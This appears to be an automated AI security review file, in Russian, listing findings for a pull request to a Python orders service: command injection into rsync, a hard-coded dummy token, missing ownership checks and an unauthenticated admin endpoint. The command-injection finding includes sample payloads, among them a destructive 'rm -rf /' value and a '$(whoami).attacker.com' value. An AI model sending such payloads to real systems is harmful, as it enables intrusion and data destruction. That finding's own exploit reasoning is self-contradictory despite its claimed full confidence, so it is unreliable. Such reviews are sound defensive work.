Files
playground/security-analysis/findings/pr-9/1787499027-review.json
T
playground-security-bot 5794d806d4
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
security: AI review results for PR #9
2026-08-23 15:30:27 +00:00

86 lines
7.9 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
[
{
"id": "ai-review-0-orders.py-70",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 1.0,
"file": "orders.py",
"line_start": 70,
"line_end": 70,
"title": "Небезопасное использование пользовательского ввода в subprocess.run",
"description": "Значение параметра host берётся из JSON-запроса и напрямую подставляется в команду rsync без валидации или экранирования, что позволяет выполнить произвольные команды через специально сформированный host.",
"impact": "Полный компрометация сервера — атакующий может выполнить любую команду на хосте с правами процесса приложения.",
"exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = \"example.com; rm -rf /\" или host = \"example.com$(whoami).attacker.com\" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.",
"evidence": "self._perform_backup(backup_host) → subprocess.run([\"rsync\", \"-avz\", \"/workspace/\", f\"{host}:/backup/orders/\"]) — строка host напрямую подставляется в команду без валидации.",
"recommendation": "Запретить произвольные host-значения: использовать белый список разрешённых хостов, проверить формат IP/домена, использовать строгую валидацию (например, регулярным выражением) и/или экранировать аргументы (например, добавлять флаги '--' или использовать строго типизированный вызов без shell, но лучше — полностью отказаться от подстановки пользовательских строк в аргументы команд).",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-1-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Жёстко закодированный токен GitHub в исходном коде",
"description": "Токен 'ghp_dummytoken_for_backup_notifications' захардкожен в коде. Несмотря на префикс 'dummy', это чувствительное значение, и оно может быть случайно обнаружено в репозитории.",
"impact": "Возможна утечка учётных данных, если репозиторий станет публичным, или если токен окажется в логах или артефактах сборки.",
"exploit_scenario": "Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
"recommendation": "Использовать переменные окружения или специализированный менеджер секретов (Vault, AWS Secrets Manager и т.п.) и не хранить токены в коде.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-2-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 37,
"title": "Отсутствие проверки прав доступа к заказам",
"description": "Пользователи могут читать и модифицировать любые заказы по order_id, без привязки к собственному user_id.",
"impact": "Пользователь может просмотреть и изменить чужие заказы, что может привести к финансовым потерям или утечке данных.",
"exploit_scenario": "Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.",
"evidence": "order_id = self.path.split(\"/\")[-1]; orders[order_id][\"amount\"] = data[\"amount\"] — никакой проверки ownership.",
"recommendation": "Добавить проверку, что order_id принадлежит текущему пользователю, например, по session или JWT claim user_id.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
},
{
"id": "ai-review-3-orders.py-41",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 41,
"line_end": 41,
"title": "Открытый доступ к административному endpoint /admin/backup без аутентификации",
"description": "Эндпоинт /admin/backup доступен любому пользователю, не требует аутентификации или авторизации.",
"impact": "Любой желающий может инициировать резервное копирование и использовать уязвимость командной инъекции.",
"exploit_scenario": "Анонимный атакующий отправляет POST /admin/backup с вредоносным host.",
"evidence": "elif self.path == \"/admin/backup\": — нет проверки self.headers.get(\"Authorization\") или аналогов.",
"recommendation": "Добавить аутентификацию (например, Basic Auth или API-ключ), проверку прав и ограничение IP.",
"cwe": "CWE-306",
"status": "OPEN",
"created_at": "2026-08-23T15:30:27Z",
"pr_number": 9,
"commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
}
]